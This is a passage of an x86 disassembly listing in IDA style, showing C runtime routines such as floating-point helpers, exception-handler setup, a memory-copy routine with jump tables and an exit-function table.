sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2FC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8D4, offset sub_421935 mov off_43C8D0, eax mov off_43C8D8, offset sub_42199B mov off_43C8DC, offset sub_4218DB mov off_43C8E0, offset sub_421983 mov off_43C8E4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2D8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB354 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2DC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2DC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC95C call sub_422608 mov edx, dword_4DC95C pop ecx mov ecx, dword_4DC958 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC95C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC958 sub ecx, dword_4DC95C mov dword_4DC95C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC958, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC958, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC95C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC95C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC95C mov dword_4DC958, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr 